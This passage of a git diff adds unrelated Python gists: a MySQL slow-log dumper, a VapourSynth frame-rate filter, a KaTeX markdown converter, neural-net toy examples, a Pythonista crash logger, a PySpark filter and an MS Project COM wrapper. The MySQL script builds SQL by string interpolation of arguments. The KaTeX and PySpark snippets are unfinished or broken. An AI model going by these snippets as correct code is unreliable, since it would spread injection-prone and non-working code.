+    	end_time = sys.argv[6]
+
+    try:
+        # connect to mysql
+    	conn = MySQLdb.connect(host=dbip, port=dbport, user=dbusr, passwd=dbpwd)
+    	cursor = conn.cursor()
+	if start_time == "":
+	    sql = "SELECT * FROM mysql.slow_log ORDER BY start_time"
+        else:
+            if end_time == "":
+	        sql = "SELECT * FROM mysql.slow_log where start_time >= '%s' ORDER BY start_time" % start_time
+	    else:
+	    	sql = "SELECT * FROM mysql.slow_log where start_time >= '%s' and start_time <= '%s' ORDER BY start_time" % (start_time, end_time)
+
+        conn.query(sql)
+        r = conn.use_result()
+
+        while True:
+            results = r.fetch_row(maxrows=100, how=1)
+            if not results:
+                break
+
+            for row in results:
+                qtime = row['query_time'].seconds
+                row['query_time_f'] = qtime
+        
+                ltime = row['lock_time'].seconds
+                row['lock_time_f'] = ltime
+        
+                if not row['sql_text'].endswith(';'):
+                    row['sql_text'] += ';'
+        
+                print '# Time: %s' % row['start_time']
+                print '# User@Host: {user_host}'.format(**row)
+                print '# Query_time: {query_time_f}  Lock_time: {lock_time_f} Rows_sent: {rows_sent}  Rows_examined: {rows_examined}'.format(**row)
+                print 'use {db};'.format(**row)
+                print row['sql_text']
+
+    except MySQLdb.Error, e:
+        cur_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time()))
+        error = "%s - Error %d: %s" % (cur_time, e.args[0], e.args[1])
+        print error
+        exit(-1)
+
+    exit(0)
\ No newline at end of file
diff --git a/hard-gists/fe0d232bda81f15e838b/._snippet.py b/hard-gists/fe0d232bda81f15e838b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fe0d232bda81f15e838b/._snippet.py differ
diff --git a/hard-gists/fe0d232bda81f15e838b/snippet.py b/hard-gists/fe0d232bda81f15e838b/snippet.py
new file mode 100644
index 00000000..3bd0e438
--- /dev/null
+++ b/hard-gists/fe0d232bda81f15e838b/snippet.py
@@ -0,0 +1,17 @@
+# Usage: mpv --vf=vapoursynth=60fps.py --hwdec=no <file>
+
+import vapoursynth as vs
+core = vs.get_core()
+
+src_fps = 24
+dst_fps = 60
+
+clip  = core.std.AssumeFPS(video_in, fpsnum=src_fps)
+super = core.mv.Super(clip, pel=2)
+bv    = core.mv.Analyse(super, isb=True, overlap=0)
+fv    = core.mv.Analyse(super, isb=False, overlap=0)
+# FlowFPS() is too slow to be run in real-time
+#clip  = core.mv.FlowFPS(clip, super, bv, fv, dst_fps)
+clip  = core.mv.BlockFPS(clip, super, bv, fv, dst_fps)
+
+clip.set_output()
\ No newline at end of file
diff --git a/hard-gists/fe4fd5f27a4811cb0187/._snippet.py b/hard-gists/fe4fd5f27a4811cb0187/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fe4fd5f27a4811cb0187/._snippet.py differ
diff --git a/hard-gists/fe4fd5f27a4811cb0187/snippet.py b/hard-gists/fe4fd5f27a4811cb0187/snippet.py
new file mode 100644
index 00000000..06a5dc59
--- /dev/null
+++ b/hard-gists/fe4fd5f27a4811cb0187/snippet.py
@@ -0,0 +1,79 @@
+import re
+import execjs
+
+
+def find_equations(string):
+    """ Take in a string, and convert everything between $ ... $ into an inline
+    equation and everything between $$ ... $$ into a centred equation. """
+
+    doubledollar = re.compile(ur"\$\$([^$]+)\$\$")
+    singledollar = re.compile(ur"(?<![\$])\$([^$]+)\$(?!\$)")
+
+    inline_equations = re.findall(singledollar, string)
+    centred_equations = re.findall(doubledollar, string)
+
+    return inline_equations, centred_equations
+
+
+def remove_dollars(string):
+    """ Takes equation delimited by dollars as input, and removes the dollar
+    signs at the beginning and end. """
+
+    return re.sub("[\$]", "", string)
+
+
+def import_katex():
+    """ Imports katex into the local namespace for use as
+    `katex.call("katex.renderToString", "E = mc^2") """
+
+    source = open("lib/katex.js").read()
+    katex = execjs.compile(source)
+
+    return True
+
+
+def eqn_to_html(eqn_string):
+    """ Takes equation string, e.g. "E = mc^2", and outputs KaTeX HTML """
+
+    try:
+        return katex.call("katex.renderToString", "E = mc^2")
+    except ReferenceError:
+        print "Error rendering KaTeX HTML. Please ensure that you have",
+        print "imported KaTeX into the Python namespace."
+        return False
+
+
+def replace_eqn(string):
+    """ Takes a block of text, finds the equations and replaces the text with
+    HTML code """
+
+    pass
+
+
+with open("katex_markdown.md") as f:
+    original_content = f.read()
+
+import_katex()
+
+inline, centred = remove_dollars(find_equations(original_content))
+
+head = """<head>
+<meta charset="utf-8">
+<link rel="stylesheet" type="text/css" href="lib/katex.min.css">
+</head>
+"""
+
+body = """<body>
+""", content, """
+</body>
+"""
+
+html = """<!DOCTYPE HTML>
+<html>
+""", head, """
+""", body, """
+</html>
+"""
+
+with open("katexpage.html", 'w') as f:
+    f.write(html)
\ No newline at end of file
diff --git a/hard-gists/fe855653e9757e1ce8c4/._snippet.py b/hard-gists/fe855653e9757e1ce8c4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fe855653e9757e1ce8c4/._snippet.py differ
diff --git a/hard-gists/fe855653e9757e1ce8c4/snippet.py b/hard-gists/fe855653e9757e1ce8c4/snippet.py
new file mode 100644
index 00000000..ae55d2f7
--- /dev/null
+++ b/hard-gists/fe855653e9757e1ce8c4/snippet.py
@@ -0,0 +1,54 @@
+# Toy examples that demonstrate how to configure
+# nolearn.lasagne.NeuralNet and what data to send in for
+# classification problems with single and multiple classes, and
+# regression problems with and without multiple targets.
+
+from lasagne.layers import DenseLayer
+from lasagne.layers import InputLayer
+from lasagne.nonlinearities import softmax
+from nolearn.lasagne import NeuralNet
+import numpy as np
+from sklearn.datasets import make_classification
+from sklearn.datasets import make_regression
+
+
+def classif(X, y):
+    l = InputLayer(shape=(None, X.shape[1]))
+    l = DenseLayer(l, num_units=len(np.unique(y)), nonlinearity=softmax)
+    net = NeuralNet(l, update_learning_rate=0.01)
+    net.fit(X, y)
+    print(net.score(X, y))
+
+
+def regr(X, y):
+    l = InputLayer(shape=(None, X.shape[1]))
+    l = DenseLayer(l, num_units=y.shape[1], nonlinearity=None)
+    net = NeuralNet(l, regression=True, update_learning_rate=0.01)
+    net.fit(X, y)
+    print(net.score(X, y))
+
+
+def main():
+    # Classification with two classes:
+    X, y = make_classification()
+    y = y.astype(np.int32)
+    classif(X, y)
+
+    # Classification with ten classes:
+    X, y = make_classification(n_classes=10, n_informative=10)
+    y = y.astype(np.int32)
+    classif(X, y)
+
+    # Regression with one target:
+    X, y = make_regression()
+    y = y.reshape(-1, 1).astype(np.float32)
+    regr(X, y)
+
+    # Regression with ten targets:
+    X, y = make_regression(n_targets=10)
+    y = y.astype(np.float32)
+    regr(X, y)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/fe8e267149862eb67127f4fff7e017be/._snippet.py b/hard-gists/fe8e267149862eb67127f4fff7e017be/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/fe8e267149862eb67127f4fff7e017be/._snippet.py differ
diff --git a/hard-gists/fe8e267149862eb67127f4fff7e017be/snippet.py b/hard-gists/fe8e267149862eb67127f4fff7e017be/snippet.py
new file mode 100644
index 00000000..f5208811
--- /dev/null
+++ b/hard-gists/fe8e267149862eb67127f4fff7e017be/snippet.py
@@ -0,0 +1,139 @@
+# This is an example pythonista_startup.py script.
+# The code below is from https://github.com/dgelessus/pythonista_startup/blob/master/enable_faulthandler.py
+
+from __future__ import absolute_import, division, print_function
+
+def enable_faulthandler():
+    import ctypes
+    import datetime
+    import errno
+    import io
+    import objc_util
+    import os
+    import shutil
+    import sys
+    
+    try:
+        unicode
+    except NameError:
+        unicode = str
+    
+    print(u"Enabling fault handler and Objective-C exception handler...")
+    
+    LOGDIR = os.path.expanduser(u"~/Documents/faultlog")
+    LOGNAME_TEMPLATE = u"faultlog-{:%Y-%m-%d-%H-%M-%S}.txt"
+    LOGNAME_DEFAULT = u"faultlog-temp.txt"
+    EXCEPTIONLOGNAME_DEFAULT = u"exceptionlog-temp.txt"
+    
+    # Create the faultlog directory if necessary
+    try:
+        os.mkdir(LOGDIR)
+    except (IOError, OSError) as err:
+        if err.errno != errno.EEXIST:
+            raise
+    
+    # Check whether an Objective-C exception log exists and append it to the fault log
+    try:
+        fin = io.open(os.path.join(LOGDIR, EXCEPTIONLOGNAME_DEFAULT), "rb")
+    except (IOError, OSError) as err:
+        if err.errno != errno.ENOENT:
+            raise
+    else:
+        with fin:
+            data = fin.read()
+        
+        if data:
+            with io.open(os.path.join(LOGDIR, LOGNAME_DEFAULT), "ab") as fout:
+                # If the faultlog is not empty, add a separator
+                if fout.tell() != 0:
+                    fout.write(b"\n" + b"-"*72 + b"\n\n")
+                
+                fout.write(data)
+        
+        os.remove(os.path.join(LOGDIR, EXCEPTIONLOGNAME_DEFAULT))
+    
+    # Check whether a faultlog was written
+    did_fault = False
+    
+    try:
+        f = io.open(os.path.join(LOGDIR, LOGNAME_DEFAULT), "rb")
+    except (IOError, OSError) as err:
+        if err.errno != errno.ENOENT:
+            raise
+    else:
+        with f:
+            if f.read(1):
+                did_fault = True
+    
+    # Notify the user that a crash has happened
+    if did_fault:
+        print(u"Pythonista quit abnormally last time.", file=sys.stderr)
+        
+        stamped_name = LOGNAME_TEMPLATE.format(datetime.datetime.fromtimestamp(os.stat(os.path.join(LOGDIR, LOGNAME_DEFAULT)).st_mtime))
+        shutil.move(os.path.join(LOGDIR, LOGNAME_DEFAULT), os.path.join(LOGDIR, stamped_name))
+        print(u"For details, see the log file '{}'.".format(stamped_name), file=sys.stderr)
+    
+    if sys.version_info < (3,):
+        print(u"Setting exception handler.")
+        # Set the Objective-C exception handler only under Python 2.
+        # Otherwise under Pythonista 3 it would be set twice - once by Python 2 and once by Python 3.
+        # This way the exception handler is set exactly once and works under Pythonista 2 and 3.
+        
+        # typedef void (*objc_uncaught_exception_handler)(id exception);
+        objc_uncaught_exception_handler = ctypes.CFUNCTYPE(None, ctypes.c_void_p)
+        
+        # objc_uncaught_exception_handler objc_setUncaughtExceptionHandler(objc_uncaught_exception_handler fn);
+        objc_util.c.objc_setUncaughtExceptionHandler.argtypes = [objc_uncaught_exception_handler]
+        objc_util.c.objc_setUncaughtExceptionHandler.restype = objc_uncaught_exception_handler
+        
+        # Set Objective-C uncaught exception handler
+        @objc_uncaught_exception_handler
+        def handler(exc_pointer):
+            exc = objc_util.ObjCInstance(exc_pointer)
+            
+            name = exc.name()
+            reason = exc.reason()
+            user_info = exc.userInfo()
+            
+            call_stack_symbols = exc.callStackSymbols()
+            
+            with io.open(os.path.join(LOGDIR, EXCEPTIONLOGNAME_DEFAULT), "wb") as f:
+                try:
+                    f.write(b"Objective-C exception details:\n\n")
+                    
+                    if reason is None:
+                        f.write(str(name).encode("utf-8") + b"\n")
+                    else:
+                        f.write(str(name).encode("utf-8") + b": " + str(reason).encode("utf-8") + b"\n")
+                    
+                    if user_info is not None:
+                        f.write(str(user_info).encode("utf-8") + b"\n")
+                    
+                    f.write(b"\nStack trace:\n\n")
+                    
+                    for sym in call_stack_symbols:
+                        f.write(str(sym).encode("utf-8") + b"\n")
+                    
+                    f.write(b"\nEnd of exception details.\n")
+                except Exception as err:
+                    import traceback
+                    f.write(b"I messed up! Python exception:\n")
+                    f.write(traceback.format_exc().encode("utf-8"))
+                    raise
+        
+        # The exception handler must be kept in some kind of permanent location, otherwise it will be collected by the garbage collector, because there are no more references to it from Python.
+        objc_util._dgelessus_pythonista_startup_exception_handler = handler
+        objc_util.c.objc_setUncaughtExceptionHandler(handler)
+    else:
+        # The faulthandler module is only available under Python 3.
+        print("Setting fault handler.")
+        
+        import faulthandler
+        
+        logfile = io.open(os.path.join(LOGDIR, LOGNAME_DEFAULT), "wb")
+        faulthandler.enable(logfile)
+    
+    print(u"Done enabling fault handler and Objective-C exception handler.")
+
+enable_faulthandler()
+
diff --git a/hard-gists/feb86d4bdd9a658c122a706f26ba7e1e/._snippet.py b/hard-gists/feb86d4bdd9a658c122a706f26ba7e1e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/feb86d4bdd9a658c122a706f26ba7e1e/._snippet.py differ
diff --git a/hard-gists/feb86d4bdd9a658c122a706f26ba7e1e/snippet.py b/hard-gists/feb86d4bdd9a658c122a706f26ba7e1e/snippet.py
new file mode 100644
index 00000000..3c073755
--- /dev/null
+++ b/hard-gists/feb86d4bdd9a658c122a706f26ba7e1e/snippet.py
@@ -0,0 +1,17 @@
+from pyspark.sql.functions import udf
+from pyspark.sql.types import BooleanType
+
+def regex_filter(x):
+    regexs = ['.*ALLYOURBASEBELONGTOUS.*']
+    
+    if x and x.strip():
+        for r in regexs:
+            if re.match(r, x, re.IGNORECASE):
+                return True
+    
+    return False 
+    
+    
+filter_udf = udf(regex_filter, BooleanType())
+
+df_filtered = df.filter(filter_udf(df.field_to_filter_on))
\ No newline at end of file
diff --git a/hard-gists/ff122e8563793bb28f79/._snippet.py b/hard-gists/ff122e8563793bb28f79/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ff122e8563793bb28f79/._snippet.py differ
diff --git a/hard-gists/ff122e8563793bb28f79/snippet.py b/hard-gists/ff122e8563793bb28f79/snippet.py
new file mode 100644
index 00000000..f886aff9
--- /dev/null
+++ b/hard-gists/ff122e8563793bb28f79/snippet.py
@@ -0,0 +1,601 @@
+import sys, time, datetime
+from copy import copy, deepcopy
+from collections import OrderedDict
+import string
+import math
+import win32com.client
+import traceback
+
+# Sample code for accessing MSProject
+# 2014 (C) Zohar Lorberbaum
+
+debug = False
+
+def proj2time(t):
+    """Convert MSProject time to Python time"""
+    return time.mktime(time.strptime(t.Format('%m/%d/%y %H:%M:%S'), '%m/%d/%y %H:%M:%S'))
+
+def expectedProgress(start, finish, t=None):
+    """Get expected percent progress given start, finish, and point t in time (in seconds since the Epoch).
+    If t is not defined, use current time (now)."""
+    s = proj2time(start)
+    f = proj2time(finish)
+    if not t: t = time.time()
+    if t<=s:
+        return 0
+    elif t>f:
+        return 100
+    else:
+        p = int( (t-s)/(f-s)*100.0 ) # linear task progress
+        return p
+
+def expectedWork(etotal, estart, efinish, t):
+    """Get expected work progress given total work, start, finish, and point t in time (in seconds since the Epoch)."""
+    if t<=estart:
+        return 0.0
+    elif t>efinish:
+        return float(etotal)
+    else:
+        p = float(etotal)*(t-estart)/(efinish-estart) # linear task progress
+        return p
+
+def expectedWork2(etotal, estart, efinish, t):
+    """Heuristic expected percent progress given start, finish, and point t in time (in seconds since the Epoch).
+    If t is not defined, use current time (now)."""
+    if t<=estart:
+        return 0.0
+    elif t>efinish:
+        return float(etotal)
+    else:
+        a1 = 4.0
+        a2 = 2.0
+        a3 = -1.0
+        c1 = 1.0
+        c2 = 3.0
+        c3 = 9.0
+        f1 = 100.0*(t-estart)/(efinish-estart)
+        f2 = math.sin(c1*math.pi*(t-estart)/(efinish-estart))
+        f3 = f1-a1*f2
+        f4 = math.sin(c2*math.pi*(t-estart)/(efinish-estart))
+        f5 = f3-a2*f4
+        f6 = math.sin(c3*math.pi*(t-estart)/(efinish-estart))
+        f7 = f5-a3*f6
+        f0 = 0.0-a1*f2-a2*f4-a3*f6
+        p = float( etotal*f7/100.0 ) # variable task progress
+        return p
+
+class MSProject:
+    """MSProject class."""
+    def __init__(self):
+        self.mpp = win32com.client.Dispatch("MSProject.Application")
+        self.Project = None
+        self._Tasks = None
+        if debug: self.mpp.Visible = 1
+        return
+
+    def __call__(self):
+        print 'MSProject call'
+        return
+
+    def __getattr__(self,attr):
+        if attr == 'Tasks':
+            #if not self.__dict__.has_key('_Tasks'):
+            if not self._Tasks:
+                if not self.__dict__.has_key('Project'):
+                    print "You have to load a file first."
+                    raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, attr))
+                else:
+                    self._Tasks=Tasks(self.mpp, self.Project)
+            return self._Tasks
+        else:
+            raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, attr))
+
+    def __repr__(self):
+        return "MSProject class"
+
+    def __dir__(self):
+        d=['Tasks']
+        d += self.__dict__.keys()
+        d += self.__class__.__dict__.keys()
+        return d
+
+    def load(self, doc):
+        """Load a given MSProject file."""
+        try:
+            self.mpp.FileOpen(doc)
+            self.Project = self.mpp.ActiveProject
+            return True
+        except Exception, e:
+            print "Error opening file",e
+            return False
+
+    def saveAndClose(self):
+        """Close an open MSProject, saving changes."""
+        if self.__dict__.has_key('Project'):
+            self.mpp.FileSave()
+        self.mpp.Quit()
+        return
+
+    def dump(self):
+        """Dump file contents, for debugging purposes."""
+        if not self.__dict__.has_key('Project'):
+            print "No project file is open. Use 'open' command first."
+            return False
+        try:
+            print "This project has ", str(self.Project.Tasks.Count), " Tasks"
+            for i in range(1,self.Project.Tasks.Count+1):
+                print i,
+                try:
+                    print self.Project.Tasks.Item(i).Name[:60].encode('ascii', 'ignore'),
+                    print self.Project.Tasks.Item(i).Text1.encode('ascii', 'ignore'), # Custom field
+                    print self.Project.Tasks.Item(i).ResourceNames.encode('ascii', 'ignore'),
+                    print self.Project.Tasks.Item(i).Start,
+                    print self.Project.Tasks.Item(i).Finish,
+                    print self.Project.Tasks.Item(i).PercentWorkComplete,
+                    print '%'
+                except:
+                    print 'Empty'
+            return True
+        except Exception, e:
+            print "Error:", e
+            return False
+
+
+class Tasks(object):
+    """Class to hold task lines in MSProject.
+    Access to items is via Accept360 S/N."""
+    def __init__(self, mpp, Project):
+        self.mpp = mpp
+        self.Project = Project
+        self._Tasks = None
+        self._RFQAs = None
+        self._compoundTask = None
+        self._unknowns = None
+        self._msfields = ['Name', 'Resources', 'Start', 'Finish', 'PercentWorkComplete', 'Priority', 'ReleaseName']
+        return
+
+    def __repr__(self):
+        if self._Tasks:
+            return 'Requirements: '+str(self._Tasks.keys())
+        else:
+            return 'Please load a file and get tasks first.'
+
+    def __dir__(self):
+        l = self.__class__.__dict__.keys() + self.__dict__.keys()
+        if self._Tasks:
+            for k in self._Tasks.keys():
+                l.append('SN'+str(k))
+            l.remove('_Tasks')
+        return l
+
+    def __call__(self, *args, **kargs):
+        if kargs:
+            if kargs.has_key('SN'):
+                if self._Tasks:
+                    if self._Tasks.has_key(kargs['SN']):
+                        return self._Tasks[kargs['SN']]
+            else:
+                print 'No requirements were retreived from server yet.\nPlease perform a parsed query.'
+                return None
+        elif args:
+            if self._Tasks:
+                if len(args)>0:
+                    for arg in args:
+                        if arg[:2]=='SN':
+                            if self._Tasks.has_key(arg[2:]):
+                                return self._Tasks[arg[2:]]
+                        else:
+                            if self._Tasks.has_key(arg):
+                                return self._Tasks[arg]
+                        print str(arg) + ' was not found'
+                    return None
+            else:
+                print 'Please load a file and get tasks first.'
+                return None
+        else:
+            if not self._Tasks:
+                self.getTasks()
+            return self._Tasks
+
+    def __getattr__(self,attr):
+        if attr == 'Tasks':
+            if not self._Tasks:
+                self.getTasks()
+            return self._Tasks
+        elif self.__dict__.has_key(attr):
+            return self.__dict__[attr]
+        elif self._Tasks:
+            if len(attr)>2:
+                if attr[:2]=='SN':
+                    if self._Tasks.has_key(attr[2:]):
+                        return self._Tasks[attr[2:]]
+                else:
+                    if self._Tasks.has_key(attr):
+                        return self._Tasks[attr]
+            if attr in self._compoundTask.keys():
+                return self._compoundTask[attr]['id']
+        raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, attr))
+
+    def __getitem__(self, attr):
+        if attr == 'Tasks':
+            if not self._Tasks:
+                self.getTasks()
+            return self._Tasks
+        elif self.__dict__.has_key(attr):
+            return self.__dict__[attr]
+        elif self._Tasks:
+            if len(attr)>2:
+                if attr[:2]=='SN':
+                    if self._Tasks.has_key(attr[2:]):
+                        return self._Tasks[attr[2:]]
+                else:
+                    if self._Tasks.has_key(attr):
+                        return self._Tasks[attr]
+            if attr in self._compoundTask.keys():
+                return self._compoundTask[attr]['id']
+            return str(attr) + ' was not found'
+        else:
+            raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, attr))
+
+
+    def getTasks(self):
+        """Return all tasks that have a value in the 'Accept360 S/N' field and have a resource assigned."""
+        self._Tasks = dict()
+        self._RFQAs = dict()
+        self._compoundTask = dict()
+        self._unknowns = dict()
+        if not self.__dict__.has_key('Project'):
+            print "No project file is open. Use 'open' command first."
+            return False
+        # Get all MSProject tasks: for duplicate 'Accept360' fields - update Start, End, Resource, PercentWorkComplete accordingly
+        try:
+            for i in range(1,self.Project.Tasks.Count+1):
+                try:
+                    task = False
+                    rfqa = False
+                    Py = self.Project.Tasks.Item(i).Text4 # Helper column to allow ignoring lines.
+                    if Py.lower()!='ignore':
+                        SN = self.Project.Tasks.Item(i).Text1 # A custom column to store unique task S/N 
+                        Priority = self.Project.Tasks.Item(i).Text2 # A custom column to store task priority 
+                        ReleaseName = self.Project.Tasks.Item(i).Text3 # A custom column to store release name 
+                        QCDB = self.Project.Tasks.Item(i).Text5 # A custom column to store test results database name  
+                        QCRel = self.Project.Tasks.Item(i).Text6 # A custom column to store test results path 
+                        if not SN: continue # skip items w/o serial number
+                        if str(SN)=='': continue # skip items w/o serial number
+                        sns = SN.split(',') # handle comma separated multiple serial numbers
+                        for s in sns:
+                            sn = str(s)
+                            if self.Project.Tasks.Item(i).ResourceNames!=None and str(self.Project.Tasks.Item(i).ResourceNames)!='': # skip tasks with no resource - most likely an RFQA or not interesting
+                                if proj2time(self.Project.Tasks.Item(i).Finish)-proj2time(self.Project.Tasks.Item(i).Start)>0.0: # skip zero duration tasks
+                                    task = True
+                                    if not self._Tasks.has_key(sn): # new task S/N
+                                        self._Tasks[sn]=dict()
+                                        self._Tasks[sn]['Name'] = str(self.Project.Tasks.Item(i).Name.encode('ascii', 'ignore'))
+                                        self._Tasks[sn]['Priority'] = str(Priority.encode('ascii', 'ignore'))
+                                        self._Tasks[sn]['ReleaseName'] = str(ReleaseName.encode('ascii', 'ignore'))
+                                        self._Tasks[sn]['QCDB'] = str(QCDB.encode('ascii', 'ignore'))
+                                        self._Tasks[sn]['QCRelease'] = str(QCRel.encode('ascii', 'ignore'))
+                                        self._Tasks[sn]['Resources'] = list()
+                                        for resr in self.Project.Tasks.Item(i).ResourceNames.split(','): # handle multiple testers on the same task
+                                            self._Tasks[sn]['Resources'].append(str(resr.encode('ascii', 'ignore')))
+                                        self._Tasks[sn]['id'] = list()
+                                        self._Tasks[sn]['id'].append(i)
+                                        self._Tasks[sn]['outline'] = list()
+                                        self._Tasks[sn]['outline'].append(self.Project.Tasks.Item(i).OutlineNumber)
+                                        self._Tasks[sn]['Start'] = proj2time(self.Project.Tasks.Item(i).Start)
+                                        self._Tasks[sn]['Finish'] = proj2time(self.Project.Tasks.Item(i).Finish)
+                                        self._Tasks[sn]['PercentWorkCompleteList'] = list()
+                                        self._Tasks[sn]['PercentWorkCompleteList'].append(int(self.Project.Tasks.Item(i).PercentWorkComplete))
+                                    else: # update existing task S/N
+                                        for resr in self.Project.Tasks.Item(i).ResourceNames.split(','): # handle multiple testers on the same task
+                                            if not str(resr) in self._Tasks[sn]['Resources']:
+                                                self._Tasks[sn]['Resources'].append(str(resr.encode('ascii', 'ignore')))
+                                        if self._Tasks[sn]['Start'] > proj2time(self.Project.Tasks.Item(i).Start):
+                                            self._Tasks[sn]['Start'] = proj2time(self.Project.Tasks.Item(i).Start)
+                                        if self._Tasks[sn]['Finish'] < proj2time(self.Project.Tasks.Item(i).Finish):
+                                            self._Tasks[sn]['Finish'] = proj2time(self.Project.Tasks.Item(i).Finish)
+                                        self._Tasks[sn]['PercentWorkCompleteList'].append(int(self.Project.Tasks.Item(i).PercentWorkComplete))
+                                        if self._Tasks[sn]['id'].count(i)==0:
+                                            self._Tasks[sn]['id'].append(i)
+                                        if self._Tasks[sn]['outline'].count(self.Project.Tasks.Item(i).OutlineNumber)==0:
+                                            self._Tasks[sn]['outline'].append(self.Project.Tasks.Item(i).OutlineNumber)                                            
+                            else: # no resource - might be an RFQA item
+                                #if proj2time(self.Project.Tasks.Item(i).Finish)-proj2time(self.Project.Tasks.Item(i).Start)==0.0: # zero duration - better chance for being an RFQA item
+                                if self.Project.Tasks.Item(i).PredecessorTasks.Count == 0: # no predecessors - even better chance for being an RFQA item
+                                    if self.Project.Tasks.Item(i).OutlineChildren.Count == 0: # no subtasks - even better chance for being an RFQA item
+                                        rfqa = True
+                                        if not self._RFQAs.has_key(sn): # new RFQA S/N
+                                            self._RFQAs[sn]=dict()
+                                        # keep updating with lowest items on the tasks list, as these are likely to be RFQA items
+                                        self._RFQAs[sn]['Name'] = str(self.Project.Tasks.Item(i).Name.encode('ascii', 'ignore'))
+                                        self._RFQAs[sn]['Start'] = proj2time(self.Project.Tasks.Item(i).Start)
+                                        self._RFQAs[sn]['Finish'] = proj2time(self.Project.Tasks.Item(i).Finish)
+                                        self._RFQAs[sn]['Priority'] = str(Priority.encode('ascii', 'ignore'))
+                                        self._RFQAs[sn]['ReleaseName'] = str(ReleaseName.encode('ascii', 'ignore'))
+                                        self._RFQAs[sn]['id'] = list()
+                                        self._RFQAs[sn]['id'].append(i)
+                    if len(sns)>1: # keep a list of all lines that have multiple SNs
+                        if not SN in self._compoundTask.keys():
+                            self._compoundTask[SN]=list()
+                        self._compoundTask[SN].append(i)
+                    if not task and not rfqa: # keep a list of all tasks with serial number that were not handled as a task nor as an RFQA
+                        if not SN in self._unknowns.keys():
+                            self._unknowns[SN]=list()
+                        self._unknowns[SN].append(i)
+                except AttributeError:
+                    continue # empty line in the file
+            # compute average %complete for duplicated tasks
+            for sn in self._Tasks.keys():
+                tot = 0
+                for p in self._Tasks[sn]['PercentWorkCompleteList']:
+                    tot += p
+                self._Tasks[sn]['PercentWorkComplete'] = int(tot/len(self._Tasks[sn]['PercentWorkCompleteList']))
+            return self._Tasks
+        except Exception, details:
+            err = time.asctime()
+            err += ' Error in ' + traceback.extract_stack()[-1][2] + ' :\n'
+            err += ' ' + str(details)
+            err += traceback.format_tb(sys.exc_info()[2])[0]
+            print "Error:", err
+            return self._Tasks
+
+
+    def __setitem__(self, key, values):
+        "Example: m.Tasks['26123']={'codeComplete':37.0}"
+        if not self._Tasks:
+            print 'No MSProject file was loaded and parsed yet.\nPlease load a file and get tasks first.'
+            return None
+        elif type(values)!=type(dict()):
+            print 'Task updated fields should be in a form of a dictionary.\nPossible keys are:',
+            print self._msfields
+            return None
+        elif len(key)>2:
+            if key[:2]=='SN':
+                if self._Tasks.has_key(key[2:]):
+                    return self._update(key[2:], values)
+            elif self._Tasks.has_key(key):
+                return self._update(key, values)
+            else:
+                for i in range(1,self.Project.Tasks.Count+1):
+                    try:
+                        SN = self.Project.Tasks.Item(i).Text1 # This is the custom column where we currently store Accept360 S/N
+                        if SN == key:
+                            return self._update(key, values)
+                    except AttributeError:
+                        continue # empty line in the file
+            print str(key) + ' was not found'
+        raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, key))
+
+    def updateTask(self, key, values):
+        "Example: m.updateTask('26123', {'codeComplete':37.0})"
+        if not self._Tasks:
+            print 'No MSProject file was loaded and parsed yet.\nPlease load a file and get tasks first.'
+            return None
+        elif type(values)!=type(dict()):
+            print 'Task updated fields should be in a form of a dictionary.\nPossible keys are:',
+            print self._msfields
+            return None
+        elif len(key)>2:
+            if key[:2]=='SN':
+                if self._Tasks.has_key(key[2:]):
+                    return self._update(key[2:], values)
+            elif self._Tasks.has_key(key):
+                return self._update(key, values)
+            else:
+                for i in range(1,self.Project.Tasks.Count+1):
+                    try:
+                        SN = self.Project.Tasks.Item(i).Text1 # This is the custom column where we currently store Accept360 S/N
+                        if SN == key:
+                            return self._update(key, values)
+                    except AttributeError:
+                        continue # empty line in the file
+            print str(key) + ' was not found'
+        raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, key))
+
+    def updateRFQA(self, key, values):
+        "Example: m.updateRFQA('26123', {'Finish': '2012/1/2'})"
+        if not self._RFQAs:
+            print 'No MSProject file was loaded and parsed yet.\nPlease load a file and get tasks first.'
+            return None
+        elif type(values)!=type(dict()):
+            print 'Task updated fields should be in a form of a dictionary.\nPossible keys are:',
+            print self._msfields
+            return None
+        elif len(key)>2:
+            if key[:2]=='SN':
+                if self._RFQAs.has_key(key[2:]):
+                    return self._updateRFQA(key[2:], values)
+            elif self._RFQAs.has_key(key):
+                return self._updateRFQA(key, values)
+            print str(key) + ' was not found'
+        raise AttributeError("%s instance has no attribute '%s'" % (self.__class__.__name__, key))
+
+    def _update(self, key, values):
+        updt = True
+        found = False
+        for i in self._Tasks[key]['id']:
+            for k, v in values.iteritems():
+                if not k in self._msfields:
+                    raise KeyError("Unknown or unsupported MSProject field: %s" % k)
+                if debug: print 'updating:', i, k, v
+                if not k in ['Priority', 'ReleaseName']:
+                    setattr(self.Project.Tasks.Item(i), k, v)
+                elif k == 'Priority':
+                    setattr(self.Project.Tasks.Item(i), 'Text2', v)
+                elif k == 'ReleaseName':
+                    setattr(self.Project.Tasks.Item(i), 'Text3', v)
+                else:
+                    updt = False # we should never get here
+                found = True
+                if debug: print '\t>updated task at line:', i-1
+        return updt & found
+
+    def _updateRFQA(self, key, values):
+        updt = True
+        found = False
+        for i in self._RFQAs[key]['id']:
+            for k, v in values.iteritems():
+                if not k in self._msfields:
+                    raise KeyError("Unknown or unsupported MSProject field: %s" % k)
+                if debug: print 'updating:', i, k, v
+                if not k in ['Priority', 'ReleaseName']:
+                    setattr(self.Project.Tasks.Item(i), k, v)
+                elif k == 'Priority':
+                    setattr(self.Project.Tasks.Item(i), 'Text2', v)
+                elif k == 'ReleaseName':
+                    setattr(self.Project.Tasks.Item(i), 'Text3', v)
+                else:
+                    updt = False # we should never get here, probably better to raise exception
+                found = True
+        return updt & found
+
